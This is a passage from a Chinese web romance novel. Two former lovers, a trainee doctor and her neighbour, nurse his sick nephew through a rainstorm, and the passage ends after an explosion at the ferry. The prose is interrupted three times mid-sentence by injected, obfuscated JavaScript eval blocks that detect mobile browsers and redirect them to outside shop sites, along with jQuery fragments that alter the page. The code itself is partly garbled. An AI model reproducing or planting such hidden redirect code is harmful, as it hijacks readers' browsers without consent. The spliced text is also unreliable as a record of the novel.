男人没问,朝她伸手。陈蝉衣把毯子递过去,他接过坐在沙发前地毯上,绒毯就轻轻搭在腿上。 毯子的边缘有些露在地毯外,李潇将它掖紧。地毯外是放他外套的水盆,周围一滩水。 李潇避开了它。 落地灯下,他黑眸深深沉沉,他不是不冷,只是觉得刚才身上实在太脏,会弄湿她的毯子。 陈蝉衣垂眸,这个时候才注意到,他的腿有些不自然的弯曲。左腿的膝盖像是没法直起。 李潇按住膝盖,强迫它不再颤抖。 客厅主灯的灯泡坏了,陈蝉衣嫌麻烦,一直拖着没修。此刻只有落地灯昏黄的光影,轻轻罩在他的侧脸上。 昏暗里,李潇看她:“不去洗澡吗?” 陈蝉衣一愣,随即反应过来。她晚上都在照顾孩子,忙前忙后,衣服已经浸了薄薄一层汗。 她微微红了脸:“那我去洗澡。” 李潇别开眼:“嗯。” 总归两个人还是不自在的。 她出来时,男人仍旧保持着那个姿势。只是他脚边水盆已经不见了,地板上的水迹也不见踪影,干干净净。 李潇见她过来,说:“我收拾过了。” 陈蝉衣只得点头:“嗯。” 她又走去地毯坐下,两个人一起守着孩子。 窗外雨声喧哗铺天盖地,雷电轰鸣,放在任何一部电影里,都是经典灾难片的开头。 可是她和李潇两个人安安静静,坐在家里地毯上,她脑海里,突然就想起很多年前听的一首歌: “全世界都停了电,全世界都封了街,我所有窗子外面,被贴上黑夜……” 世界好像彻底和他们隔绝开来,城市轰隆的雨声雷声也一并远去了。 陈蝉衣洗完澡穿的也是长袖家居服,绵软合身,头发已经吹干了,只是还有些湿润。 她眼睛也是湿润的,清澈懵懂得像鹿,抱着膝盖,规规矩矩坐在离他一米远的地方。 她看孩子,偶尔也低头看看手机,就是不看他。 男人黑沉沉的眸光,情绪难明地落在她身上。 良久,他低低出声:“冷不冷。” 陈蝉衣有些慌张抬眸看他,李潇甚至都觉得想笑了。他是什么可怕的东西吗,为什么总是满怀戒备望着他。 他视线在她眼眸静了几秒,片刻后,又落在她脚踝,意思不言而喻。 她曲着膝盖,裤管吊上去,脚踝露出来了,纤细的一把。 女生脚趾也是粉的,肌肤白得打眼。 陈蝉衣耳根烫了起来:“我不,不……” 她还没想好说什么。她性子有些慢,一晚上一眨眼,像是一切都发生了改变,尽管微妙,可是她还没适应。 现在她是真的无措了:“我不……冷。” 男人听罢,轻笑了一声:“陈家月。” 陈蝉衣:“嗯。” 手指紧张地蜷缩起来。 他眼睛略微挑起,漫不经心的,像是只是为了确认一下这个名字还能用,这样叫还有用。 李潇声音轻轻懒懒:“怎么说谎。” 她眼睫湿漉漉颤抖。 毯子的一角被他掀起:“过来。” 陈蝉衣咬着唇,慢腾腾挪过去。 李潇低眸看着她。 她洗完澡碎发潮湿,嘴唇很红润。他眸光暗。 等到她终于离他只有一个手臂的距离。李潇低声说:“盖好。” 陈蝉衣红着脸,胡乱点点头。他里面就一件长袖,整个手都露出来。 接过他手里毯子,陈蝉衣看清楚他的手,小指那里微微弯折错位,就像是断骨后重接,不知道是怎么弄的,也不知道是不是陈年的旧伤没治理彻底,到如今已经有些畸形了。 她清亮的眼睛露出些担忧,还有恐惧,指了指:“你……” 李潇不甚在意地顺着她视线看了眼,轻道:“打架打的。” 陈蝉衣微张着唇,骤然无言。 她其实还记得从前的事,上学时候李潇有几次和同学发生冲突,那会儿他们还在谈恋爱,他的教室在一楼,她在四楼,从走廊上能看见少年冷冷被训话的身影。 那年他背脊笔直,像是永远不会低头。 看着她不安的模样,李潇扯了扯唇角:“怎么,我在你心里印象还是不学无术?” 陈蝉衣低眸:“我不是这个意思。” 李潇笑了声,不说话了。 这场对话就这样戛然而止,她很明显的不自在。 他也没有再逗她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750719|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。手肘撑着沙发,半阖上眼睛。 三点多,接近凌晨四点。 暴雨席卷。 男人面庞在黑暗中,褪去了白日里的冷意,竟然逐渐变得模糊般柔和。 她看着李潇沉默不说话,慢慢地也有了睡意。 陈蝉衣搂着毯子,小幅度捂着唇,打了个哈欠。最后眼睛半闭半睁,迷迷糊糊睡了过去。 * 早上醒过来的时候,陈蝉衣发现自己身上搭了件衣服。 她睡在地毯上,孩子还在沙发上。 应该是怕她着凉,陈蝉衣晕乎乎坐起,摸到身下垫着的一层厚羊羔绒被。 不是她的,被子上熟悉的男人身上的气息。 而身侧空荡荡,他却不见了。 大门开着,楼道风往里直灌。 陈蝉衣起身,刚走到玄关,发现他端着盘子走过来:“醒了?我弄了点早饭。” 他手上端着盘子,里面是简单的早饭,面包煎蛋。 李潇把它们摆在餐桌上,又折身回自己的家。最后他手上拎着两罐牛奶。 陈蝉衣看着牛奶,抿抿唇说:“先别给孩子吃,要是醒了,给他喂点水喝。” 还在烧着,她担心孩子吃了不舒服,会吐。 然而李潇转过身,将两瓶牛奶放到桌上:“我知道。” 他意味不明地看了她一眼,语气淡道,“给你喝的。” 陈蝉衣:“……” “你冰箱里什么都没有。”李潇拉出椅子坐下,顺手给她摆上筷子,“陈家月。” “嗯……” 他顿了顿,最后轻扯着唇角:“你怎么养活自己的?” 陈蝉衣尴尬地也拖了椅子坐下,在他对面:“我,我冰箱里有买了菜啊。” 她看了暴雨预警,担心台风来了楼下会被淹起来,特地去买了很多菜备用的。 然而男人挑了一侧眉:“你说那两颗大白菜?” 陈蝉衣噤声。 “还是那几盒肉?” 她指尖缩起来,不知怎么的有点害怕,奓着胆子磕巴地道:“有,有什么问题……” 男人慢条斯理看她,眼里像带着微微笑意:“没问题,做得很棒。” 就像是在夸小孩。 陈蝉衣:“……” 她低头哼哧哼哧喝牛奶,不理他了。 暴雨仍然猛烈,仿佛笼中巨兽被放出,整个润州城都蒙在阴暗天色之中。 中午的时候,李潇接了个电话。那时候他们两个正准备做午饭,很家常的菜,他随意挽起袖子,露出一截结实匀称的小臂。 李潇对电话那头道:“没事,他没事,你放心。” 停顿了几秒,他转头,看了一眼陈蝉衣:“嗯。” 陈蝉衣在洗菜,对上他视线,手一顿,动作慢下来。 挂了电话,李潇走过来,她抿抿唇。 她其实很想问他,那是谁,为什么打电话的时候要看她。但是想想那是他私事,这样问会不会不太好。 李潇打开水龙头,突然说:“是我姐。” 她懵然抬眸,眼睛里映着他影子。 “她问我孩子情况,昨天发烧的事没瞒她,她情绪不好,担心孩子出事。”李潇垂着眼,没有看她,“我说孩子被救了,邻居是医生。她说谢谢你。” 抬眸,对上她怔然的目光,李潇轻声道:“陈家月。” 她缓慢而迟疑地应声:“嗯。” 男人撑着流理台,眸中清冷。就这样和她静静对视良久,他坚持到最后,像是终于妥协,垂下眼,肩膀微微塌陷。 他看着她平静地问:“这几年过得好不好。” 11. 潇潇 厨房采光还算好,不过窗外天色阴沉,即便他靠在厨台旁,轮廓依然蒙上一层灰色。 陈蝉衣愣了愣,有瞬间,不知道该怎么回答。 他们昨夜其实没聊什么,除了照顾孩子,差不多都只是在沉默中度过。 她不知道他怎么忽然想起问这个。 “还行吧。”她说。 李潇略微点了点头,还是惯常冷淡的样子,让她想起很多年前,在地下台球厅,昏暗的场子里,他旁边女生穿着红裙,细细两根带子,给他点烟。 烟雾缭绕。 他坐在皮质沙发上,一双眼眸隔着烟雾看她,几分意兴阑珊。 那是二月,他们吵架,在冷战。 再后来就分了手。 分手的时候却已经是来年冬天了,十二月下着雪,他眼里藏着寒气,她攥他袖子,被他沉默着一点一点掰开。 那年李潇说话仍是不尖锐,克制中带着疏离的冷漠:“陈家月,我们就到这里了。” 后来他们没再见过面。 事隔经年,他突然问自己过得好不好。 陈蝉衣抿抿唇,清亮的眼睛有些暗淡下来。 她转过身,继续洗菜。 那顿午饭两个人吃得都很沉默。除了偶尔他问饭菜的咸淡之外,几乎没有别的话题。 中午时分,李潇再次起身接了个电话:“喂。” 陈蝉衣在给宝宝擦身体,窗外一道极致的闪电划过,雷声轰隆。小孩在昏睡中被吓到,眼睛还没睁开,就可怜地哭起来,小眉头耸动,鼻翼也微弱地翕张着。 陈蝉衣拿毛巾给他擦了擦颈侧的汗,还有嫩嫩的小手。 那边李潇不知道是在和谁通话,隐隐约约,声音传来,陈蝉衣听不见电话里的声音,只能听见他的: “知道,不过用不着。” “吃饭就不用了,之前不是都吃过一次饭了。” “嗯,再说吧。” 语气是另一种熟稔,和跟他表姐讲话丝毫不同,他说着说着,忽然就笑了两声:“话多。” 挂了电话,李潇转身对上她眼睛:“怎么了?” 陈蝉衣这才发现,自己注视他够久了,她若无其事别开眼看着孩子:“宝宝刚才吓到了,我给他擦擦汗。” “嗯。”他赤脚走上地毯。 之前他还主动说是表姐,这回却是什么都没说。陈蝉衣抿抿唇,欲言又止。 他没注意,看了会儿孩子就去洗碗,回来之后还是没话讲的样子。 陈蝉衣望着他来来去去,突然:“李潇。” 男人停住,略微挑起一侧的长眉:“嗯?” “刚才。”她咬了咬唇,“是谁啊。” 李潇的眉毛彻底挑起来。 雨声潇潇的,他穿着家居服,视线递过去轻懒:“朱子星。” “哦。”陈蝉衣不知怎么的有点脸红。 朱子星她知道,是他朋友,初中就是同学,她从前也见过。 只是她有点弄不懂自己,怎么突然问这个。 紧接着就听到男人问:“你查我啊?” 她心慌:“没有。” “那你问我跟谁打电话。”李潇还是那副懒散笑的样子,“陈家月,你不觉得这很像查岗吗?” 他表情看着却愉悦。 陈蝉衣别过脸:“我随便问问的。” “哦。” “他找你说什么了?” 李潇走过来,窝着长腿坐下:“跟我说要和我还有我对象吃饭。” 陈蝉衣突然发怔,脑海中近乎一瞬间想起之前那个乌发红唇的女生。 她差点忘记,李潇只是说自己没有结婚,可他从来,从来没有跟她说过,他现在是不处在一段感情中的。 仅仅只是,不是孩子的爸爸。 他却可能是有爱人的。 陈蝉衣喉咙一阵发紧,她干嘛问这种问题。可是她反应慢,听到这种回答,也只会愣着,不知道怎么接。 望着男人冷峻的侧脸,她抿唇,傻兮兮地:“真的吗?” 她知道这很正常,有了女朋友,和兄弟一起吃饭把她介绍进自己的圈子,这是每个人都会经历的步骤。 可是她还是觉得,心里有种说不上来的难受。 然而男人瞥了眼她:“假的。” 陈蝉衣:“?” 李潇惯来冷漠的眉挑起,表情似笑非笑:“我随便说说的。” 她真想吵架了!陈蝉衣把身子慢腾腾转到他的方向,有点恼地说:“你怎么随便说。” 他笑了,她这样子怎么像河豚。 李潇哦了一声:“你能随便问,我不能随便说?” 陈蝉衣不想搭理他,脑袋又转过去了。 男人的低笑声响起来。 她耳根红透,他笑什么呀。 他笑完了,笑够了:“陈家月。” “嗯?” “河豚好吃吗。” 陈蝉衣不知道刚才她在他眼里形象,是一条气鼓鼓河豚,也很快忘记那点心烦意乱:“咦,你怎么知道我最近吃过河豚?” 李潇弯唇看她:“猜的。” 那次渡口一瞥,他路过她那辆车,听到里面讨论要去扬州吃什么。她同事叽叽喳喳,吃河豚吃烧卖。 只有她安安静静的。 陈蝉衣也不笨,想起来了,小脸上星星点点惊讶:“你看到我啦?” 他垂眸“嗯”了一声。 不止看到了,还有那次在三路站台。 送她回家和陪她去扬州吃早饭的,是同一个男人。 * 孩子中午时分醒了一次,脸颊的潮红退去了很多。李潇给他喂了点水,从家里拿过来那种闲趣饼干。 他往杯子里倒了温水,饼干掰碎放进去,等饼干泡软,再一点一点喂给宝宝吃。 宝宝很乖。 他烧得快没有咀嚼能力,看见食物的第一反应,是恶心想吐。 然而倘若不吃饭,就会没有力气。 所以他都明白。 李潇把他抱怀里,一汤匙一汤匙地喂,宝宝咳嗽两声,他就再缓缓。端着水杯举着小勺等在那里,用手腕露出来的部分,轻轻帮小孩顺气。 宝宝也配合,除了偶尔说:“阿爸,这个饼干好硬,推推嚼不动。” 除此以外,没有抗拒过李潇送到嘴边的食物。 陈蝉衣也是那时候才知道小孩的名字。 推推,很可爱的名字。 她坐在沙发边,手里拿着毛巾,要是宝宝不小心把饼干屑吐出来,陈蝉衣就帮他擦去。 最后推推吃得五分饱,勉强垫了垫肚子。李潇把他放到沙发上,让他继续睡。 陈蝉衣伸手探他额头:“烧退了点。” 李潇沉默着点头,过了片刻,张了张嘴,似乎是想说什么。 陈蝉衣看着他轻声道:“没关系的,你把他先留在这里吧,万一回去高烧反复……雨还没停呢。” 男人黑漆漆的眸光微漾,默然半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13750720|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才道:“谢谢。” 那晚他们坐在沙发前的地毯上,看了部电影。 因为要守着孩子,李潇不放心回去睡,也不放心让孩子离开陈蝉衣视线,最后只得睡在了她的家里。 陈蝉衣的家不大,户型和他家差不多,都是两室两卫一厅。房子老旧,从前业主的装修风格也很老式。 可她布置得很温馨,沙发巾是柔软的奶油色双面毛绒,茶几和餐桌上也都铺上了浅绿桌布,典雅迷人的剪裁,挡住了餐桌原本丑陋的颜色。 就连玄关和空荡荡的墙壁,她都挂了鲜切花点缀。 她的小家像个田园小屋。 这也是为什么最初进来时,他那样犹豫踌躇。 他浑身都是水,楼下积水,他带着孩子跑了很远,裤管上也溅起来湿泥,很脏。 陈蝉衣家里是干干净净的。 他本不想对比,可是男人都有自尊,他身上带着暴雨天的寒气,垂眼静而无声。 那晚,就如同前一夜那般,他回自己的家洗过澡后,就坐在她家沙发前的地毯上。 南方城市临江湿度大,她选的地毯绵软厚实,究竟不能睡人。李潇把自己的羊羔绒被子铺在最底,她卡其色的小绒毯拿来盖。 陈蝉衣洗完澡走过去。 看到这种布置,可纠结了。他乐不乐意自己常盖的被子就这样放地上,被她当褥子一样踩啊。 李潇倒像是无所谓,他见她一身浅色的睡衣,站在地毯边,一副想过来又不敢的模样。 李潇心里想笑,就这么怕人。 他招了招手:“过来。” 陈蝉衣就犹豫着小心走过去。她脚很白,踩在被子里,很快就陷进去。羊羔绒弄得她脚背发痒。 等终于小心翼翼坐下来,李潇看她:“你怕我?” 其实他生得并不可怕,只是容颜冷峻,又总是垂着眼沉默的样子,黑瞳深沉,容易让人心里发怵。 陈蝉衣看他一眼,耳根子有点红。 她摇摇头:“没有。你想看什么。” 她在客厅安装了投影,手机可以投放,陈蝉衣在软件里选。 李潇随她:“都可以。” 陈蝉衣很纠结,都可以是最难决定的。 她小声说:“那你有喜欢的类型吗?” 他眼底晦暗牵出情绪:“什么类型。” 声音低低的,李潇向来说话声音都不大,却字字清晰。他刚说出口,陈蝉衣脸就红了。 她也听出来这句话有歧义,咬着唇小声改口:“我说电影。” 他笑了,重复:“哦,电影。” 陈蝉衣都不想看了!他家小孩病怎么还没好! 看着她闭上眼,快要脸红不想讲话的模样。 李潇忍住笑,这回说得正经:“没什么特别喜欢的,非要说的话,喜剧?悬疑?” 陈蝉衣活过来:“好的。” 她直起身,跪在被子上,调遥控器捣鼓了会儿。最后荧幕上缓缓出现一行字:《The Shining》 李潇:“……” 影片的开头是广阔无际的高速路,通向山顶酒店。 伴随着诡异音乐声。 男人忽地低眸,手掌摊开撑住额头,肩膀微微颤抖。 李潇哑着声:“陈家月。” 陈蝉衣就在他身旁,抱着膝盖规规矩矩地坐着,背靠着沙发,乖巧得像个小学生:“嗯。” 她就是不看他,他气得弯唇,眼底漆黑笑出声:“耍我。” 12.潇潇 被他视线烧到,她耳根一阵烫。 最后强装着镇定:“你先说随便都行的。” 意思是,是他先那样糊弄她的。 陈蝉衣绷着小脸,视线很正直地望着投影。 两秒后,他点头:“行。” 李潇双手抱胸,背往后靠到沙发,轻轻懒懒地道:“就看这部。” 他语调意味不明,不知道含着什么情绪。 陈蝉衣也没心情知道。 那部片子到中后段,灵异迭起,她几乎是扯着毯子,闭着眼睛往下看。影片里男人举起斧头,狠狠凿向木门,咧着嘴发出一声讥诮诡异的“Here?s Johnny”。 陈蝉衣吓坏了,紧紧捂住眼睛。 她没想过这片子这么吓人,尽管不算血腥,可她总觉得里面的人像是有精神疾病。 后半程很混乱,她也不知道是发生了什么,就记得自己哭哭停停,片子里被大雪封山的酒店像个迷宫,永远逃不出去。 最后,周围一切都安静下来。 等她有意识不再发抖,脑袋好像被人按在了肩膀上。 是靠近他锁骨的那一块,很烫,他按着她后脑,呼吸间滚出的热气,几乎就悬在她发顶。他心脏跳得很缓很重,沉稳有力。 不像她,不知道是被吓得还是怎样,心跳早就超速不受控制。 “好了。”李潇低头,耐心哄孩子的语气,“放完了,不哭了。” 她却愣愣地不敢抬眸,眼睫上还挂着泪珠。 黑暗无声的客厅,她眼睛里泪光浅浅,像是两艘漂泊的月亮船。 陈蝉衣抖着唇,很小声地呜咽了声:“那个鬼,最后抓到了吗……” 这片子真有鬼呢? 李潇挑了挑眉,抬手捧着她脸,想把她泪珠抹下来。 他指尖一碰到她眼睫,她眼睛就胡乱颤抖,紧紧闭了起来。 最后,他收回手,从茶几上抽出张纸巾,摁在她眼尾。 他看着好笑:“你还挺关心剧情。” 哭成这样了还得问问结尾是个啥。 男人手指温热,带着他身上的温度和气息,擦过脸颊时有种别样的温柔。 就像是她的错觉。 陈蝉衣慢慢止住了泪,那双茶瞳空濛望他:“那最后究竟是什么,真的有鬼吗?” 男人挑眉,言简意赅:“没看。” 陈蝉衣:“……” 李潇轻抬唇角:“你当我是什么,你在旁边哭我怎么看?” “那,那再看一遍。”说得好像都是她的错。 没想到弄成这样,她也有点不好意思。陈蝉衣抽噎一声,伸手就要去摸遥控器。 遥控器被半路截住,男人举高,她够不到。 李潇垂下眼帘:“陈家月。” 她蓦地便噤了声:“嗯。” 他关了投影,室内陷入一片黑暗:“睡觉。” 窗外月色,朦朦胧胧,顺着缝隙洒进来。 李潇说完这句就扯了扯毯子,挨着沙发这一侧躺了下来。 屋内静得落针可闻,陈蝉衣微张着唇,手指陷进羊羔绒被子里。很温暖,带着特有的干燥气息。 她看见李潇阖上了眼睛,心里不安又局促的感觉,终于后知后觉爬上来,像是耳廓爬过青苔。 怎么睡,睡他旁边吗。 被褥上倒是有两个枕头,是从沙发上拿下来的,那时她只是为了给孩子腾地方,没想到现在居然派上用场。 她还是犹豫地坐着。 “不睡吗。”黑暗中,男人发出声音,他声音沉厚安静,带着股极淡的温柔。 陈蝉衣愣了愣:“哦。” 鬼使神差地,她竟然真的挪过去,慢腾腾在他身边躺了下来。 她的毯子是双人绒毯。 当时买,只是为了和床的尺寸配套。 现在他们两个人,陷在沙发和茶几之间狭小的缝隙里,绒毯正好裹住身体。 陈蝉衣原本喜欢侧着睡,现在觉得一点也不好,他就在她旁边,她无论面对他或是背对他,都让她觉得尴尬极了。 其实她可以回房间去睡的。 陈蝉衣把毯子拉过脸颊,只露出一双眼睛,周遭静谧,她盯着天花板盯了会儿,忽然闷声道:“李潇。” “嗯。” “我……我是不是可以回房间睡。” 她紧张纠结,谁没事跟前男友睡一条毯子的。 身旁黑暗里,李潇却笑了:“行。”男人阖着眼,缓慢而平静补充:“你不害怕就行。” “……”她真的快无语死了! 早知道不放这个了,她原本是想气他的,可是现在她倒是被吓着了。 陈蝉衣猛地把毯子拉过头顶,她想想自己黑暗的房间。 不高兴地木着脸,她才不觉得有点吓人呢。 她只是喜欢人多的地方。 胡思乱想着,陈蝉衣犯起了困,意识很快就变得模糊。 将睡未睡的时候,她觉得身边人动了一下,好像是翻了个身,然后极浅的呼吸就落在了枕头上。 陈蝉衣好像听见他说:“陈家月。” 她迷糊着“嗯”了声。 李潇低着声音,隔了两秒才道:“是不是报复我。” 陈蝉衣没听懂,哼哼两声,逐渐失去了意识。 * 润州暴雨连续下了四天,到后面暴雨转小,积水排掉,整个城市的交通才终于恢复正常。 李潇的表姐匆匆赶来,抱着孩子和陈蝉衣道谢:“真是给你添麻烦了!” 陈蝉衣:“没关系的。” 谈霜看她的眼神有一瞬间的诧异。 她当然认得那是之前医院里陪她说话的医生。 也认得,这是那天她和李潇去医院,在台阶上向他们投来视线的女生。 当时她问李潇,是不是他以前认识的同学,她觉得面熟。 李潇却否认了这个答案。 再次见到陈蝉衣,谈霜总觉得有种说不上来的奇怪。 不过她还是很热情,带了很多菜:“都是老家自己种的,你拿回去自己烧着吃。” 陈蝉衣慌忙摆手:“不用。” 其实她没帮上什么忙,孩子原本就没生什么大病。 一旁男人突然出声:“收着吧。”李潇随意垂眼,“你不收她心里也不舒服。” 陈蝉衣最后把东西收下了。 孩子被谈霜接走,陈蝉衣和李潇把她送到小区门口,看着她上了出租。 回去的时候,两个人并排,没怎么说话。 路过一家水果摊,李潇忽然说:“等等。” 陈蝉衣看着他走进去,约莫过了两分钟,他就出来,手里提着袋子。 旧小区排水系统不敢恭维,他们挑高的台阶走,还是没什么话。 偶尔李潇会提醒她:“看路。” 到了那栋楼前,他在前,她在后,沉默地爬上四楼楼梯。 站在门外掏钥匙的时候,李潇转过身:“拿着。” 是他拎了一路的水果,放到她手上。 她没来得及说话,男人便垂下眼:“走了。” 黑黢黢楼道里,他高大身影停顿一瞬,最后微微侧过脸:“再见。” * 那之后,润州放了几天晴。 她没再见过李潇。 这场暴雨来得突然,苏南地区持续大降雨,交通系统瘫痪,连续上了好几天热搜和新闻晨报。 陈如晦也打来电话:“你们那边那个天气,自然灾害似的,还不如回临海。” 陈蝉衣:“临海也有台风天,更严重。” 陈如晦不过是想逼她回去,听她这种不咸不淡的语气,重重哼了一声:“你嘴硬好了,结婚之后去京城我也耳根清净,不用再跟你这几句话翻来覆去。” 最后又是不欢而散。 陈蝉衣放下电话,厨房窗外日光晴朗,底下小猫窝在垃圾桶盖子上舔毛。 她心里微微叹口气。 四月初,清明节假期的时候,陈蝉衣要值班。 瞿雨音回家了,不能陪她,小颖倒是还在急诊室。 自从上次小颖说她和秦继南的事后,两个人的关系就有些尴尬。 小颖胳膊挽着另一个规培生,陈蝉衣认得,是同期一个姑娘,叫刘静。 她点头朝两人打了个招呼就进去了,没有太热络,也不至于太冷淡。 刘静打量她背影:“她之前就这么冷冰冰的吗?”好拽哦。 小颖模糊地答了句什么。 陈蝉衣没理会,继续写她的规培报告。这个档口还没到急诊室最忙的时候,她准备晚上把之前没看完的文献啃完。 科室灯光刺眼,那些英文单词在她眼前晃。陈蝉衣放下笔,发现自己有点没法集中注意力。 她已经很久没看见过李潇了。 像她预想的那样,推推的病好了,城市暴雨乌云散去,所有生活都回到正轨。 李潇不再需要求助她了。 那天最后他给她带的水果,还剩一个小橘子。 陈蝉衣留着没有吃。 她日常还是上班回家,下楼扔垃圾时喂猫。那段时间垃圾箱盖上总是出现个小碗,里面装了猫食。 她值夜班,他很晚回家。每晚十点十五,楼道里会准时传来脚步声。 可是也仅仅只有脚步声了。除了出门进门的声音,很意外的,他们甚至连一面都没有偶遇过。 陈蝉衣也没再见过那个红唇女人。 她深吸口气,强迫自己静下心来。 小颖和刘静从外面打水回来,抬眼就看见值班室里,安安静静坐着看书的女生。 身姿端正,脖颈纤长秀气,是天生适合练舞蹈的身材。周围几个人都在笑闹,她兀自安静,有种出淤泥而不染的清冷气。 小颖咬了咬唇,走过去说:“小蝉。” 陈蝉衣抬眸:“嗯?” 小颖说:“你之前生病很久了,现在身体怎么样啦?” 陈蝉衣愣了愣,没想到她突然说这个,但也温声回:“好很多啦,谢谢。” 小颖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13751540|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“那你要好好休息。” 陈蝉衣点点头,小颖还想再说什么,门突然被推开。 秦继南走进来,办公室里几个人都和他打招呼,刘静也眼神亮了亮:“秦老师。” 刘静从前是秦继南学生,听过他的课。 秦继南点头,像是没听见刘静的声音,径直走到陈蝉衣身边。 他停下脚步,语气温和地笑了笑:“蝉衣。” 陈蝉衣也站起来:“秦老师。” 他们两个站在一起,陈蝉衣感觉办公室整个氛围都变了,几个医生噤了声,眼神却偷偷往他们那里瞥。 陈蝉衣有些不舒服地皱了皱眉。 她没来医院这段时间,她和秦继南的谣言并没有止息,反而愈演愈烈,她自己都不知道现在传播到哪个版本了。 办公室都是看热闹的人。 秦继南说:“正好看到你,明天你有时间吗?” 陈蝉衣一愣:“怎么了?” 他笑:“之前你东西放我这里,明天想给你送过去,方便告知我你的地址吗?或者你来取也行。” 是之前陈如晦让他带给她的东西,去扬州吃饭那天秦继南就和她说过。 只是后面她接连生病,又是暴雨,耽搁了。 周围人的目光不禁暧昧起来,一个规培医能有什么东西落在秦老师家? 她去过秦老师家? 陈蝉衣蜷了蜷指尖,尽力忽视掉这些若有似无打量的目光。 秦继南望向她的眼神沉稳清润,他平时从不惧流言,大概是真的没在意过这些。 她也不好表现得太过刻意。 陈蝉衣只得道:“明天……我应该在家的。我去拿就行了,不用送过来。” 她搬了新家,这件事不能让秦继南知道。 秦继南也没有多问,不是多话的性格,闻言只是点头:“好,那我把我的地址发给你。” “嗯。” 两个人还在说着话。秦继南嗓音温润,陈蝉衣柔和,声音都不高,说话的时候秦继南靠她便有些近。 小颖看得发愣。 身边刘静不屑地切了一声:“还以为她多高冷呢,跟秦老师就有话说,跟我们就点个头就算打招呼了。” 小颖尴尬地道:“你别这么说。” 刘静挑眉:“我有说错吗,你看他们靠得多近。亏我还以为之前方毅然说得是假的呢,原来她真在暗恋秦老师,不然她干嘛故意让秦老师帮她收东西?真白莲花朵朵开。” 小颖咬住嘴唇。 她又往陈蝉衣那边看了一眼。 女生微仰着头,正认真听秦继南说话,长发在脑后用鲨鱼夹松松固定了,前面碎发有几缕飘落下来。 陈蝉衣一边听讲,一边拿手挽了,露出的侧脸白得打眼。 小颖眼神暗了暗,心里涌上几分莫名的滋味。她们之前一起规培,最累的时候也用过医院的淋浴间。 她知道陈蝉衣最美的不仅是脸蛋,朴素白大褂下的身材更能让男人发疯。 看着一旁刘静翻白眼。 小颖捏紧手心。 她抿抿唇,低下头:“也别这么说,她也不是故意的,可能只是想引起秦老师注意吧。” 刘静脸色彻底阴沉下来。 她上大学就听过秦继南的讲座,偷拍了很多张他照片贴在床头,就想和他在同一家医院工作,有机会能让他看到自己。 可是秦继南眼里,什么人都没有。 唯一能让他主动说些话的,只有陈蝉衣。 刘静觉得真不公平,她努力向上,可陈蝉衣有什么呢? 只是听说有点背景,那谁知道是不是假的。 还有那个学历,要是她大学老师和秦继南一样纯情好骗,帮她发表论文也正常吧? 她长得那么美,真的有心思有时间去忙科研吗。 刘静不信。 正想着,办公室的门突然被推开,是隔壁的规培医。 他像是没看见这间办公室里的暗流涌动,找救命稻草一样慌张开口: “秦老师,你在就太好了,这边突然送过来几个爆炸受伤的病人已经送到手术室了,里面有个孩子,本来只是被震了一下摔了,但是送过来的时候腹痛,到医院已经惊厥了。值一线的两个医生都去抢救爆炸受伤的,您能不能给顶一下?” “在哪里?” “急诊病房!” 秦继南说着话时就已经和他往外面走了,办公室剩下的人也小跑跟上。 爆炸,听起来就恐怖,差不多都是化工厂和家用电器自燃后引爆。 秦继南心急如焚,随口问了句:“怎么会爆炸的,哪里发生的事故,怎么会有孩子在现场!” 小规培医也慌乱道:“不知道啊!听说是货物搬卸的时候碰到明火爆了,就在汽渡那边,下晚班最后一趟也真是倒霉!秦老师您快去撑一下吧……” 汽渡。 陈蝉衣停下脚步。 捕捉到熟悉的字眼,她从肺腑里滋生出一种无言的恐惧。 ……李潇。 13.潇潇 她跑到现场,急诊科前已经一片混乱,到处是伤患的哀嚎。 只是还能叫出来,说明受伤程度还没到要死的地步。 哭喊声响成一片,大多是烧伤,因为爆炸后产生的大火灼烧了皮肤,更严重导致脾肝胆破裂的,已经被送进手术室抢救。 急诊室走廊中,弥漫出一股难言的气味。 是衣服烧焦后独特的焦味。 走廊惨不忍睹,所有能用的急诊科医生早就上前急救。 烧伤只需要最基础的操作处理,这些他们在上大学时就已经学过,此刻根本无需旁人多言。 陈蝉衣神情恍惚。 一走廊的病人,一整个科室里弥漫的烧焦气息。 所有人都痛得龇牙咧嘴。 她救了很多人。 替很多人包扎好伤口。 可是她扫过去,没有一个是她熟悉的身影。 她也想安慰自己他不在里面,可是她知道这种概率微乎其微。 陈蝉衣渐渐眼眶红了。 秦继南以为她是没见过这种惨烈场面,匆忙中从内袋掏出手帕,胡乱替她拭了拭眼泪:“你自己拿着,我还有病人,我得走了。” 说完便疾步离去。 陈蝉衣握着手帕,在原地站了会儿,像是找不到方向。 